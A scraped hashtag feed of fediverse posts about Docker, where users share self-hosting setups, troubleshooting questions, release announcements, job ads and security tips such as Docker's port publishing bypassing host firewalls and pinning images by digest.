#flohmarkt needs a dev who can help investigate #docker issues
codeberg.org
Hashtag
335 posts tagged with this hashtag.
#flohmarkt needs a dev who can help investigate #docker issues
codeberg.org
After trying a few different #Mastodon front ends to #GotoSocial, I think #Tusky in #Android is best, followed by #elk for the desktop (elk runs in a #Docker container on a #RaspberryPi), then worst of all is any #iPadOS experience - #Icecubes works poorly - with GotoSocial #OpenSource #ActivityPub
After trying a few different #Mastodon front ends to #GotoSocial, I think #Tusky in #Android is best, followed by #elk for the desktop (elk runs in a #Docker container on a #RaspberryPi), then worst of all is any #iPadOS experience - #Icecubes works poorly - with GotoSocial #OpenSource #ActivityPub
Silly question of the #NetBSD folk… I know some of the BSD kernels (notably #FreeBSD, and once upon a time, #OpenBSD) were capable of Linux syscall emulation, meaning they could run Linux applications.
Is this still the case, and if so, does it extend to containerisation like #Docker? Platforms of interest would be `x86-64` and `aarch64`.
https://kb.shells.com/tutorials/NetBSD/Docker/ seems to suggest it was at least at one point, a thing, but the link to the Docker download site is a 404.
kb.shells.com
Step-by-step guide to install Docker on NetBSD. Complete tutorial with commands and configuration.
Question for #tailscale and/or #docker folks from an extremely new user of both on my home NAS…
How do I get one docker container to access `https://*.*.ts.net` URLs served by another?
I have one container serving Forgejo, works great! But my Renovate container will only resolve the local or Tailscale IP, not the fancy MagicDNS URL. (Which would be fine if it never needed to follow nicer URLs returned by the Forgejo API.)
Setting the container’s network to that of the Forgejo Tailscale server enables access to the server’s port, but not the nice URL. 🤷
**Update:** Solved! https://social.lol/@tylersticka/116767952316840680
social.lol
Figured it out! 🎉 Needed to add Tailscale's MagicDNS to the server config: https://github.com/tailscale/tailscale/issues/14467#issuecomment-3715457739
Question for #tailscale and/or #docker folks from an extremely new user of both on my home NAS…
How do I get one docker container to access `https://*.*.ts.net` URLs served by another?
I have one container serving Forgejo, works great! But my Renovate container will only resolve the local or Tailscale IP, not the fancy MagicDNS URL. (Which would be fine if it never needed to follow nicer URLs returned by the Forgejo API.)
Setting the container’s network to that of the Forgejo Tailscale server enables access to the server’s port, but not the nice URL. 🤷
**Update:** Solved! https://social.lol/@tylersticka/116767952316840680
social.lol
Figured it out! 🎉 Needed to add Tailscale's MagicDNS to the server config: https://github.com/tailscale/tailscale/issues/14467#issuecomment-3715457739
Envie d'une expérience #Matrix ultra légère et stylée ?
Je viens de déployer #Cinny sur mes services ! C'est le client web minimaliste parfait pour discuter sans superflu
👉 Testez-le ici : https://cinny.blablalinux.be
⚙️ Vous voulez l'auto-héberger ? Voici mon snippet complet : https://bytestash.blablalinux.be/s/afda1a90e5c0f3d9b8b11dad2ffd6487
Envie de découvrir tout mon écosystème ? C'est par ici : https://blablalinux.be/mes-services-publics/
À très vite sur Matrix !
I have #Wanderer up and running again. This time it's not in #Docker. I installed it from source, but created a systemd service for each of the components. It just works and even imported my trails from #komoot. I made two of them available publicly: https://wanderer.glitchy.social/trails
The federation is not working properly. You can see my profile here: @yehor@wanderer.glitchy.social, but without trails. Also, you can try to follow me there, but the request goes somewhere into the void.
wanderer.glitchy.social
There is something I still can't get about #Docker. It's the trend to distribute even small simple scripts or apps as containers.
There are definitely some cases when we have to distribute, deploy and run large complex software. And those cases are completely understandable and Docker (or any other containerisation) is good for it.
But when I see, let's say, a simple #Python tool distributed as a container, I see the same problem as with #Electron but even worse. Instead of running a browser, here we have to run almost whole operating system in a sandbox wich is almost like a virtual machine.
To me it looks like an insane overkill and overengineering.
Homelab For the Beginner: You Can Self-host Your Own Server on $50 Hardware | 🔗 https://brennan.day/homelab-for-the-beginner-you-can-self-host-your-own-server-on-50-hardware/

A Beszel server monitoring dashboard showing the

An Uptime Kuma monitoring dashboard on a dark background listing eleven services with their uptime percentages and green bar history indicators: Archive (99.31%), Backup (99.38%), Blog (100%), Café (99.65%), Deploy (97.57%), Files (99.44%), Logs (99.65%), Monitor (99.72%), RSS (99.74%), Social (99.84%), and Wiki (99.79%). All bars are fully green, indicating no recent downtime.
Homelab For the Beginner: You Can Self-host Your Own Server on $50 Hardware | 🔗 https://brennan.day/homelab-for-the-beginner-you-can-self-host-your-own-server-on-50-hardware/

A Beszel server monitoring dashboard showing the

An Uptime Kuma monitoring dashboard on a dark background listing eleven services with their uptime percentages and green bar history indicators: Archive (99.31%), Backup (99.38%), Blog (100%), Café (99.65%), Deploy (97.57%), Files (99.44%), Logs (99.65%), Monitor (99.72%), RSS (99.74%), Social (99.84%), and Wiki (99.79%). All bars are fully green, indicating no recent downtime.
I've self-hosted my own #Forgejo server for a while now and it's been such a freaking delight to work with, and gives me some relief that my code/#Git repos have a place outside of #GitHub. When I started this however, I couldn't fully migrate everything I had to Forgejo - as some were still tied to GitHub's actions and their hosted runners. Before I could migrate them, I'd need to set up runners of my own on the Forgejo server.
Seeing GitHub's rapid deterioration lately, I resumed my search on setting up runners on Forgejo the right way, and was initially under the impression that it's gonna be complicated... but as it turns out, it really isn't. I set up a simple runner on a remote #RaspberryPi I had using #Docker (Compose) and it was ready to go. Porting my actions/workflows files were super easy too, unlike doing the same for something like #GitLab. Now all of my repos that were on GitHub and had some CI/CD set up have been migrated to my Forgejo server, using my own runners.
I've updated my #Homelab Wiki topic on Forgejo to include the optional step to set up a Forgejo runner. If you're now only considering deploying Forgejo, feel free to check out the rest of the topic which covers the complete setup, some basic recommended configurations, and even how to migrate your repos to Forgejo and set up push mirroring so they still exist on GitHub (if you choose to).
🔗 https://github.com/irfanhakim-as/homelab-wiki/blob/master/topics/forgejo.md#forgejo-runner
github.com
Wiki about everything Homelab. Contribute to irfanhakim-as/homelab-wiki development by creating an account on GitHub.
Do you want to stop #docker compose from advertising their new features (like "docker ai") every time you run a command in your terminal? Put this in your shell startup file:
export DOCKER_CLI_HINTS=false
Obviously, this kind of anti-entishittification counter-measure is under-documented. HTH HAND
did u know, #systemd can now run #docker images natively, kinda
it's really nice
just needs two commands:
sudo importctl --class=machine pull-oci docker.io/library/alpine:latest alpine
sudo systemd-nspawn -M alpine /usr/bin/env sh -l
thank you @pid_eins, I've spent several days/weeks in the past implementing this myself with hoops calling system-nspawn with my own docker layer overlayfs/bindmounts. Really hyped replacing this with that work.
did u know, #systemd can now run #docker images natively, kinda
it's really nice
just needs two commands:
sudo importctl --class=machine pull-oci docker.io/library/alpine:latest alpine
sudo systemd-nspawn -M alpine /usr/bin/env sh -l
thank you @pid_eins, I've spent several days/weeks in the past implementing this myself with hoops calling system-nspawn with my own docker layer overlayfs/bindmounts. Really hyped replacing this with that work.
did u know, #systemd can now run #docker images natively, kinda
it's really nice
just needs two commands:
sudo importctl --class=machine pull-oci docker.io/library/alpine:latest alpine
sudo systemd-nspawn -M alpine /usr/bin/env sh -l
thank you @pid_eins, I've spent several days/weeks in the past implementing this myself with hoops calling system-nspawn with my own docker layer overlayfs/bindmounts. Really hyped replacing this with that work.
Kaniko has been archived by Google last year. Chainguard forked the repository, but does not publish images (for free).
https://github.com/GoogleContainerTools/kaniko
https://github.com/chainguard-forks/kaniko
What is everyone using for their image builds inside containers (as a drop-in replacement, I know about apko and other tools)?
#DevOps #Kuberneters #Docker #Containers #Kaniko #AdminLife #Pipelines #CICD #HomeLab
github.com
Build Container Images In Kubernetes. Contribute to chainguard-forks/kaniko development by creating an account on GitHub.
⭐ New #I2P release available as #docker image maintained by #diva
https://github.com/diva-exchange/i2p/releases based on i2pd v2.60.0.
🙏 to the @i2p , the i2pd dev team and @social .
More about "I2P for Everyone" here: https://www.diva.exchange/en/privacy/how-to-install-i2p-on-your-personal-computer-a-beginner-friendly-guide/
I2P is a fully distributed network granting complete privacy and anonymity (aka #darknet). #diva is a research organisation co-operating with education institutions based in #switzerland.
⭐ New #I2P release available as #docker image maintained by #diva
https://github.com/diva-exchange/i2p/releases based on i2pd v2.60.0.
🙏 to the @i2p , the i2pd dev team and @social .
More about "I2P for Everyone" here: https://www.diva.exchange/en/privacy/how-to-install-i2p-on-your-personal-computer-a-beginner-friendly-guide/
I2P is a fully distributed network granting complete privacy and anonymity (aka #darknet). #diva is a research organisation co-operating with education institutions based in #switzerland.
Apollo is hiring Senior Backend Engineer
🔧 #ruby #typescript #react #rubyonrails #redux #ansible #docker #elasticsearch #gcp #kubernetes #mongodb #nosql #redis #sql #terraform #seniorengineer
🌎 Remote; Poland
⏰ Full-time
🏢 Apollo
Job details https://jobsfordevelopers.com/jobs/senior-backend-engineer-at-apollo-io-feb-9-2026-a4f7b2?utm_source=mastodon.world&utm_medium=social&utm_campaign=posting
#jobalert #jobsearch #hiring
jobsfordevelopers.com
Apollo is hiring Senior Backend Engineer
After switching from a native mastodon instance to a more streamlined and resource optimized gotosocial instance I investigated a little bit about its possibilities and found "holesmir" which helps populating active pub content to your instance. Liked the idea but saw some room for improvement, hence forked it and optimized it a little bit (technically and ease of use).
You can now find it here:
https://github.com/Domoel/GTS-Federator
#linux #fediverse #gotosocial #federation #Foss #docker
github.com
A powerful RSS-based discovery engine to populate GoToSocial instances. - Domoel/GTS-Federator
Blogged: Running AI agents with customized templates using docker sandbox
https://andrewlock.net/running-ai-agents-with-customized-templates-in-docker-sandbox/
In this post I describe how to create custom templates for Docker Sandboxes, so that your sandboxes start with additional tools immediately available (like .NET)
andrewlock.net
In this post I describe how to create custom templates for Docker Sandboxes, so that your sandboxes start with additional tools immediately available
Apollo is hiring Senior Backend Engineer
🔧 #ruby #typescript #react #rubyonrails #redux #ansible #docker #elasticsearch #gcp #kubernetes #mongodb #nosql #redis #sql #terraform #seniorengineer
🌎 Remote; Poland
⏰ Full-time
🏢 Apollo
Job details https://jobsfordevelopers.com/jobs/senior-backend-engineer-at-apollo-io-feb-9-2026-a4f7b2?utm_source=mastodon.world&utm_medium=social&utm_campaign=posting
#jobalert #jobsearch #hiring
jobsfordevelopers.com
Apollo is hiring Senior Backend Engineer
Mitra 5.1.0 is now availible everywhere where you can get my container images!
hub.docker.com
Mitra 5.1.0 is now availible everywhere where you can get my container images!
hub.docker.com
@manyfold@3dp.chat worked on my machine!
Thank you again to @Floppy@mastodon.me.uk for joining me!
See the VOD here: tubefree.org/w/hbodNSptVE541...
Never miss an episode by following @ozoned@worksonmymachine.live !
Follow @ozoned@tubefree.org for future vods!
See upcoming shows by following @when@freestreamers.btfree.org ! #3dprint #3dprinting #fediverse #fedi #tech #install #livestream #womml #worksOnMyMachineLive #peertube #owncast #docker #manyfold #VOD
btfree.social
BT Free is a non-profit organization founded by @ozoned@btfree.social . It's goal is for digital privacy rights, advocacy and consulting. This goal will be attained by hosting open platforms to allow
Mitra 5.1.0 is now availible everywhere where you can get my container images!
hub.docker.com
No imperative validation in app code. Constraints, foreign keys, check constraints — all declarative in PostgreSQL. No app can corrupt your data. PUT requests are enforced as idempotent.
📦 Installation is simple:
#Docker image available. Native binaries for all platforms. Just run postgrest --help and get started. Current version: v14.4. 195 contributors strong.
github.com
REST API for any Postgres database. Contribute to PostgREST/postgrest development by creating an account on GitHub.
Blogged: Running AI agents safely in a microVM using docker sandbox
https://andrewlock.net/running-ai-agents-safely-in-a-microvm-using-docker-sandbox/
In this post I show how to run AI coding agents safely while still using YOLO/dangerous mode using docker sandboxes and the sbx tool
andrewlock.net
In this post I show how to run AI coding agents safely while still using YOLO/dangerous mode using docker sandboxes and the sbx tool
#Introduction time.
Sysadmin & FOSS enthusiast moving to a more technical home.
🛠️ #Proxmox VE (entire stack)
🐳 #Docker & #LXC
🐧 #Linux (#CachyOS)
🛡️ Hardening #Privacy & self-hosting.
Documenting the fight for digital sovereignty at:
https://the.unknown-universe.co.uk
📝 Migrating infrastructure off Coolify #Development #Webdev #Docker #Coolify #Tailscale
I've spent a while recently migrating my personal infrastructure off Coolify. Coolify's an excellent tool and one that helped manage the initial learning curve of managing and deploying things when I started to self host things. As I got more comfortable with the process, issues and details I found myself wanting to remove it as an...
https://www.coryd.dev/posts/2026/migrating-infrastructure-off-coolify
coryd.dev
I've spent a while recently migrating my personal infrastructure off [Coolify](https://coolify.io). [Coolify](https://coolify.io)'s an excellent tool and one that helped manage the initial learning curve of managing and deploying things when I started to self host things. As I got more comfortable with the process, issues and details I found myself wanting to remove it as an abstraction on top of what I had become comfortable managing.
Docker images in the pandoc/latex and pandoc/extra repositories have often had missing packages. The reason was the release of TeXLive 2026 and, what appears to be, a moody archive server for TeXLive 2025.
The “latest” images, which contain the newest pandoc 3.9.0.2, come with TeXLive 2026 and should work fine.
Apologies to everybody inconvenienced by this.
#homelab gurus! I am considering replacing our old #Synology DS1525 with a #TrueNAS, mostly because I want to run #Immich, #Paperlessngx, and #jellyfin on it without having to deal with Syno's out-of-date #Docker implementation.
If you're running TrueNAS, two questions:
1) how hard was it to get automated backups of #Windows and #Linux systems set up? I do appreciate Syno's built-in backup tools.
2) how bad an idea would it be to run these compute loads on the NAS vs a separate compute node? We are *not* heavy users - just the two of us and we're pretty casual about home use, so it feels like loads would be pretty minimal...
Any thoughts and suggestions will be greatly appreciated!
📝 Migrating infrastructure off Coolify #Development #Webdev #Docker #Coolify #Tailscale
I've spent a while recently migrating my personal infrastructure off Coolify. Coolify's an excellent tool and one that helped manage the initial learning curve of managing and deploying things when I started to self host things. As I got more comfortable with the process, issues and details I found myself wanting to remove it as an...
https://www.coryd.dev/posts/2026/migrating-infrastructure-off-coolify
coryd.dev
I've spent a while recently migrating my personal infrastructure off [Coolify](https://coolify.io). [Coolify](https://coolify.io)'s an excellent tool and one that helped manage the initial learning curve of managing and deploying things when I started to self host things. As I got more comfortable with the process, issues and details I found myself wanting to remove it as an abstraction on top of what I had become comfortable managing.
開発環境でコンテナ利用している場合でも、もうimageが無事かわからないので latest 運用は危険という話。
安全な image を特定したらdigest で固定したほうが良さそう。
検査済みの安全な image をプライベートリポジトリで運用するのが一番いいんだろうな。
2026年3月Trivyサプライチェーン攻撃とDockerイメージのバージョンピニング #trivy #docker #security - Tech Blog|クリエーションライン
www.creationline.com/tech-blog/cl...
2026年3月Trivyサプライチェーン攻撃とDockerイ...
creationline.com
AquaSecurity, d-higuchi, DevOps, Docker, GitLab |はじめに 2026年3月に発生した人気OSSセキュリティスキャナ「Trivy」を標的としたサプライチェーン攻撃により、多くの開発現場に激震が走りました。
開発環境でコンテナ利用している場合でも、もうimageが無事かわからないので latest 運用は危険という話。
安全な image を特定したらdigest で固定したほうが良さそう。
検査済みの安全な image をプライベートリポジトリで運用するのが一番いいんだろうな。
2026年3月Trivyサプライチェーン攻撃とDockerイメージのバージョンピニング #trivy #docker #security - Tech Blog|クリエーションライン
www.creationline.com/tech-blog/cl...
2026年3月Trivyサプライチェーン攻撃とDockerイ...
creationline.com
AquaSecurity, d-higuchi, DevOps, Docker, GitLab |はじめに 2026年3月に発生した人気OSSセキュリティスキャナ「Trivy」を標的としたサプライチェーン攻撃により、多くの開発現場に激震が走りました。
This kind of feedback is what makes working in OSS so fun: https://github.com/testcontainers/Docker.DotNet/issues/94. We could all use a bit more recognition for each other’s work, especially these days, when the human side of things sometimes gets lost ❤️ #docker #dotnet #oss
github.com
Wow lot of finished PRs since last visit. @HofmeisterAn 👍🏻 ________________ < docker says: > < danke! ❤️ > < thank you! 🙌 > ---------------- \ \ \ ## . ## ## ## == ## ## ## ## === /""""""""""""""""...
This kind of feedback is what makes working in OSS so fun: https://github.com/testcontainers/Docker.DotNet/issues/94. We could all use a bit more recognition for each other’s work, especially these days, when the human side of things sometimes gets lost ❤️ #docker #dotnet #oss
github.com
Wow lot of finished PRs since last visit. @HofmeisterAn 👍🏻 ________________ < docker says: > < danke! ❤️ > < thank you! 🙌 > ---------------- \ \ \ ## . ## ## ## == ## ## ## ## === /""""""""""""""""...
Did a thing to make #testing against a #redis cluster in #golang a bit easier for myself, but maybe it's useful for others, too.
https://github.com/erkattak/testcontainers-go-redis-cluster
This is a module for #testcontainers that forms a Redis cluster (with various configuration options) and gives an API to stop/pause/restart nodes in a targeted way.
I needed something to emulate issues with service resiliency when doing sharded Pub/Sub with a Redis cluster run in #kubernetes - specifically with rescheduled nodes.
The redis/go-redis package isn't exactly resilient against underlying topology changes when doing Pub/Sub, and in writing code to make it more resilient, I found that it's difficult to create a cluster with testcontainers without a lot of boilerplate or configuration. So I decided to abstract that part away from the real code I'm writing.
I probably just could've installed redis on my local or ensured that it is available in CI, but both already have #docker and we already used testcontainers a bit in other parts of our service.
github.com
Contribute to erkattak/testcontainers-go-redis-cluster development by creating an account on GitHub.
Did a thing to make #testing against a #redis cluster in #golang a bit easier for myself, but maybe it's useful for others, too.
https://github.com/erkattak/testcontainers-go-redis-cluster
This is a module for #testcontainers that forms a Redis cluster (with various configuration options) and gives an API to stop/pause/restart nodes in a targeted way.
I needed something to emulate issues with service resiliency when doing sharded Pub/Sub with a Redis cluster run in #kubernetes - specifically with rescheduled nodes.
The redis/go-redis package isn't exactly resilient against underlying topology changes when doing Pub/Sub, and in writing code to make it more resilient, I found that it's difficult to create a cluster with testcontainers without a lot of boilerplate or configuration. So I decided to abstract that part away from the real code I'm writing.
I probably just could've installed redis on my local or ensured that it is available in CI, but both already have #docker and we already used testcontainers a bit in other parts of our service.
github.com
Contribute to erkattak/testcontainers-go-redis-cluster development by creating an account on GitHub.
I'm looking for a community management tool I could #selfhosting
Our Club try to move from Mail to messanger as communication tool.
Our userbase use Whatsapp, #Threema, #Signal
The usage is not regulated and not all boardmembers use all tools or wish to do that.
Could someone recommens selfhosting tools for that. I woukd host it on my #Docker
At moment I only have #Zammad on my list. But it could not use Threema and is not exactly for community management.
I'm looking for a community management tool I could #selfhosting
Our Club try to move from Mail to messanger as communication tool.
Our userbase use Whatsapp, #Threema, #Signal
The usage is not regulated and not all boardmembers use all tools or wish to do that.
Could someone recommens selfhosting tools for that. I woukd host it on my #Docker
At moment I only have #Zammad on my list. But it could not use Threema and is not exactly for community management.
I'm looking for a community management tool I could #selfhosting
Our Club try to move from Mail to messanger as communication tool.
Our userbase use Whatsapp, #Threema, #Signal
The usage is not regulated and not all boardmembers use all tools or wish to do that.
Could someone recommens selfhosting tools for that. I woukd host it on my #Docker
At moment I only have #Zammad on my list. But it could not use Threema and is not exactly for community management.
You just provisioned a fresh Linux server. Within minutes, the SSH brute-force bots will arrive.
There are too many ways to build a firewall in Linux. I wrote a practical guide to the four major tools: iptables, nftables, firewalld, and ufw, including their mental models and deployable configs.
Also includes a deep dive into the "Docker Trap" (why Docker silently bypasses your default-deny rules) and how to fix it.
(And yes, I still spend the intro and conclusion reminding everyone that FreeBSD's PF is the undisputed king of packet filtering. Let's argue in the replies.)
Read it here: https://blog.hofstede.it/linux-firewalls-how-to-actually-secure-a-cloud-server-iptables-nftables-firewalld-ufw/
#Linux #Sysadmin #DevOps #Security #Netfilter #Docker #Networking
blog.hofstede.it
A practical guide to the four major Linux firewall technologies - iptables, nftables, firewalld, and ufw. Covers real-world cloud server hardening with concrete examples, from locking down SSH to b...
You just provisioned a fresh Linux server. Within minutes, the SSH brute-force bots will arrive.
There are too many ways to build a firewall in Linux. I wrote a practical guide to the four major tools: iptables, nftables, firewalld, and ufw, including their mental models and deployable configs.
Also includes a deep dive into the "Docker Trap" (why Docker silently bypasses your default-deny rules) and how to fix it.
(And yes, I still spend the intro and conclusion reminding everyone that FreeBSD's PF is the undisputed king of packet filtering. Let's argue in the replies.)
Read it here: https://blog.hofstede.it/linux-firewalls-how-to-actually-secure-a-cloud-server-iptables-nftables-firewalld-ufw/
#Linux #Sysadmin #DevOps #Security #Netfilter #Docker #Networking
blog.hofstede.it
A practical guide to the four major Linux firewall technologies - iptables, nftables, firewalld, and ufw. Covers real-world cloud server hardening with concrete examples, from locking down SSH to b...
@forgejo Update was butter smooth, no issues at all with the #Docker container using #Portainer for management and updates.
Hello everyone, I'm looking to be #Fedihired. I'm looking for #Linux #DevOps work. I have 5 years software industry experience, and a B. Sc, in Computer Science. My resume is on my website, as is linked in my Bio. I'm excellent at #SelfHosting, cloud administration, all things networking, #Wireguard, and infrastructure design. I've been recently doing #infosec consulting; looking for more. I'm a #Canadian. I have lots of experience with technologies like #postgresql, #MariaDB, #nginx, #dns, #ssl, forums, #containers, #docker, etc. Also, recently automating things with #ansible. I'm posting this from my own #gotosocial instance. The #fediverse and #DataSovereignty are things I care about, and I give back to these things.
#Fedihire
Paperless-ngx deserves more attention.
Scan a physical document → OCR extracts all text → ML suggests tags and correspondents → full-text search across your entire document library.
Pair it with a $50 document scanner and your filing cabinet becomes a searchable database. Every receipt, letter, tax form — indexed and findable in seconds.
One Docker Compose stack. Redis + PostgreSQL + Paperless + Gotenberg (document conversion).
Paperless-ngx deserves more attention.
Scan a physical document → OCR extracts all text → ML suggests tags and correspondents → full-text search across your entire document library.
Pair it with a $50 document scanner and your filing cabinet becomes a searchable database. Every receipt, letter, tax form — indexed and findable in seconds.
One Docker Compose stack. Redis + PostgreSQL + Paperless + Gotenberg (document conversion).
@ghrasko
Ebben nem értem mi a pláne.
Nekem is a fő szerverem egy #Lenovo #b570e és nem függ semmitől.
A jelenleg épülő konstrukció már egy fokkal erősebb, de igazából nem sokkal újabb.
Annyi a különbség, hogy a sok kis laptop hdd-t, ami amúgy 4TB-nyi tárhellyel szolgált, kiváltotta tegnap egy 4TB-s #NAS #HDD.
A rendszer meghajtója #SSD és ennyi.
Fut minden: #JellyFin #Docker #LXC #Nextcloud #HomeAssistant és még sok webes projekt: #Wordpress például.
(#magyar #hungarian)
Well it took a whole long weekend of troubleshooting and rebuilding, but once again my #homelab is running smoothly. There were a few factors that combined to degrade things to a point where I just needed to examine my whole network and what was running on my machines.
The root turned out to be a network bridge configured with #systemd-networkd not playing nicely with docker being installed to run a big compilation job.
Once #docker screwed with the network config things spiralled from there.
Top Links Ralph Wiggum Explained: Stop Telling AI What You Want — Tell It What Blocks You (Matt Mattei) Testing ads in ChatGPT (OpenAI Team) – And it begins… Strengthening Windows trust and security through User Transparency and Consent (Logan Iyer) AI Doesn’t Reduce Work—It Intensifies It (Simon Willison) How to Set Up Claude Code … Continue reading Dew Drop – February 10, 2026 (#4601)
alvinashcraft.com
Top Links Ralph Wiggum Explained: Stop Telling AI What You Want — Tell It What Blocks You (Matt Mattei) Testing ads in ChatGPT (OpenAI Team) – And it begins… Strengthening Windows trust and security through User Transparency and Consent (Logan Iyer) AI Doesn’t Reduce Work—It Intensifies It (Simon Willison) How to Set Up Claude Code … Continue reading Dew Drop – February 10, 2026 (#4601)
alvinashcraft.com
If you are having issues accessing @badgefed in #github, there is an up-to-date #codeberg one
I am planning to deprecate the github one, but I need to migrate the workflow actions that publish the #docker image first
codeberg.org
ActivityPub Badges Implementation
Hey there #Fediverse! It’s been a little while since my last update.
I’ve been heads-down on my #DITS issue tracker application, working hard to get the web client finished and #TestReady by the end of January. As a #SoloDev, taking on an ambitious project like this is definitely a challenge, but I'm making progress!
Is anyone else here #BuildingInPublic or developing software solo? I’d love to hear what your experience has been like!
On the #HomeLab side, I’m planning a major #Jellyfin overhaul. I’m moving from a #Debian-based HP Elitedesk 800 SFF (i7-7700) with a DAS to an HP Prodesk 600 mini (i7-8700t). The new setup will run in #Docker with all media stored on my #NAS.
With that i7-8700t, I’m looking forward to better #IntelQuickSync performance for transcoding. What are your thoughts on this hardware move?
#SelfHosted #HomeServer #Linux #Python #Django #IndieDev #FOSS
I successfully installed and deployed my very first Mastodon server that uses Docker instead of other methods! Docker is well known for containerisation and sustainability. 😄👈👉 Have a nice day!
#mastodon #selfhosting #docker #fediverse #opensource #technology #servers #sysadmin #linux #decentralization #internet #web #community #opensourcecommunity
Hello #Fediverse! Time for a proper #Introduction.
I’m a hobbyist developer and engineer (outside the tech industry) who loves building tools for education and personal use. I’m currently focused on:
🐍 #Python & #Django – Working through a 30-day library challenge right now!
💻 #Linux – Running #Fedora on my System76 laptop.
🏠 #HomeLab – Managing an #OpenMediaVault setup on a Ugreen DXP2800, plus lots of #Docker and #Portainer tinkering.
🗺️ #Geospatial – Exploring data science projects.
Current Projects:
DITS: A custom issue tracker application.
Devnexus: A lite weight TUI issue and pull request application
mgl_website: My MickGeekLabs.org website and blog
Byte_Board_Blog: My personal blog project.
Pushing code to my local #Gitea (MickGeekLabs) and GitHub.
When I’m not debugging, I’m likely hanging out with my 16-year-old ginger tabby cat. 🐈
Looking forward to connecting with the #SelfHosted, #Python, and #Dev community here!
#Introduction #NewHere #Tech #HomeServer #FedoraLinux #DjangoDev #GeospatialData

A busy home lab and developer workspace featuring a wooden desk with a laptop on a stand, two monitors, and a mechanical keyboard. To the right, a black wire shelving unit is stacked with networking hardware, including a network switch and a compact two-bay NAS. The setup is filled with visible cabling, a printer, and several tech equipment boxes on the floor, including a DeskPi RackMate box, reflecting a functional and active technical environment.
Does anyone have Phanpy UI and Elk UI production Docker Compose installation instructions?
#mastodon #fediverse #selfhosting #docker #opensource #sysadmin #technology #linux #overwhelm #mentalhealth #accessibility #IT #learning #decentralization
As a holiday treat to myself, I got a server through Hetzner's server auction. Now I need to learn how to set up docker stuff on it via command line because I don't think there's a GUI interface I can use.
Anyone have any links that will help someone that hasn't touched a linux system since the days of OS/2 Warp? (Which I know is not linux, but it is going to give the olds an idea of how long it's been.)
Docker has made #Docker Hardened Images (DHI) a fee service, offering prepatched, secure SBOM-ready versions of widely used open source applications.
https://thenewstack.io/dockers-sets-free-the-hardened-container-images
thenewstack.io
Docker has made Docker Hardened Images (DHI) a free service, offering prepatched, secure SBOM-ready versions of widely used open source applications.
不知道这算不算是一个 #冷知识
docker run -p 8080:80 [...]
这样不指定 host IP 的端口映射发布默认情况下是不安全的[1],会 bypass 掉主机防火墙规则。
举个例子:
你有一台服务器,你使用 iptables / UFW / firewalld 配置了如下的规则:
eth0 接口只接受 22/tcp、443/tcp、443/udp 入站连接,除此之外拒绝所有其它入站连接。
你运行了上面的命令启动了一个容器,你可能会认为:因为有上面的防火墙规则存在,通过容器映射发布的8080端口是不能被外部访问的。
但你实际端口扫描一下就会发现外部是可以访问8080端口的。
换而言之,-p 8080:80 会 bypass 掉原有的防火墙规则,让所有接口均能访问8080端口。
这并不是新的问题,搜索一下就会发现11年前就有 reddit 网友遇到同样的问题。
Docker will bypass your firewall by default.
https://www.reddit.com/r/docker/comments/2fftmp/docker_will_bypass_your_firewall_by_default/
当然更有博文介绍解决方法:
How to Fix Docker Bypassing Firewall: A Complete Guide
https://www.bitdoze.com/docker-bypasses-firewall/
最后的最后,配置完服务器之后,一定一定要在外部对服务器做一个全端口的扫描,看看是不是不小心开放了不打算开放的端口。
[1] Port publishing and mapping | Docker Docs
https://docs.docker.com/engine/network/port-publishing/
docs.docker.com
Accessing container ports
Which #fediverse #activitypub server is the easiest to run in #docker?
I'd like to test my own AP software without littering the live network
Which #fediverse #activitypub server is the easiest to run in #docker?
I'd like to test my own AP software without littering the live network
Which #fediverse #activitypub server is the easiest to run in #docker?
I'd like to test my own AP software without littering the live network
The freshly baked Docker images for pandoc 3.8.3 are on Docker Hub and in GitHub Container Registry.
Changes: The build-process for those images has been simplified thanks to the new arm64 binaries available for pandoc-crossref. Also, the #Typst images now ship with the latest version, Typst 0.14.0.
hub.docker.com
Discover official Docker images from pandoc, an Open Source publisher on Docker Hub. Visit their profile and explore images they maintain.
Can anyone with Docker experience help us figure out what's causing our builds to fail? It was working a few months ago, and without any config changes it's now consistently failing.
EDIT: actually, all good! Found the issue, easy fix. (Thanks for boosting!)
Latest: https://github.com/writefreely/writefreely/actions/runs/19713736144
github.com
A clean, Markdown-based publishing platform made for writers. Write together and build a community. - Merge pull request #1504 from writefreely/fix-customize-log · writefreely/writefreely@4b09f7c
Can anyone with Docker experience help us figure out what's causing our builds to fail? It was working a few months ago, and without any config changes it's now consistently failing.
EDIT: actually, all good! Found the issue, easy fix. (Thanks for boosting!)
Latest: https://github.com/writefreely/writefreely/actions/runs/19713736144
github.com
A clean, Markdown-based publishing platform made for writers. Write together and build a community. - Merge pull request #1504 from writefreely/fix-customize-log · writefreely/writefreely@4b09f7c
Ein eigener Feed-Reader mit #FreshRSS - Oder: Teamwork mit #Wallabag
Eine kurze Übersicht über #RSS / #Atom Aggregatoren mit Schwerpunkt auf FreshRSS. Installation mit #Docker / #Podman und Anbindung an Wallabag.
https://just-stuff.blog/installation-von-freshrss-in-podman/
just-stuff.blog
Übersicht zu RSS/Atom Feed Reader, Installation von FreshRSS in Docker / Podman sowie Anbindung an Wallabag
The 🐈 is out of the 👜:
My Ghost blog is now federated – @ele – thanks to the wonderful Magic Pages (@hey) by @jannis@jannis.io.
My latest post, which also mentions some of my self-hosting exploits from this past year:
🔗: https://blog.elenarossini.com/the-rebellion-will-be-federated-2025-edition/
This is what I referred to when I said that "I got a big blue whale off my back" a few days ago. I don't have to worry about #Docker anymore, as I put my blog in the expert hands of Jannis at Magic Pages. My big lesson from this year has been: self-hosting is empowering and a lot of fun... but sometimes it makes more sense to turn to experts and pay them to manage your essential stuff. Like in this case.
And I will be saving money too (it's a lot cheaper than paying for a basic plan at Mailgun + my VPS). I'm just so relieved. And Ghost v6 is incredible. I will write more about this soon...
Derzeit habe ich einen #VPN mt #x86 #Architektur, der aktuell noch reicht, aber perspektivisch nicht mehr ausreichen wird.
Aus Kosten-, Effizienz- und Nachhaltigkeitsgründen (#Strombedarf, #Kühlung) würde ich ggf. auf einen #arm64-basierten #Server wechseln.
Das #Linux #Betriebssystem ist kein Problem. #Webserver wie #Apache oder #Nginx, #Datenbanken wie #mySQL, #MariaDB oder #Postgres nativ auf dem Server auch nicht.
Wo ich mir unsicher bin ist beim Thema #Docker #Container. Es wäre fatal, wenn ich das #Dockerimage für Anwendung x installieren will, und es dieses Dockerimage nicht für arm64 gibt. Ich habe nicht die Zeit und Lust, auch noch Dockerimages selbst zu kompilieren.
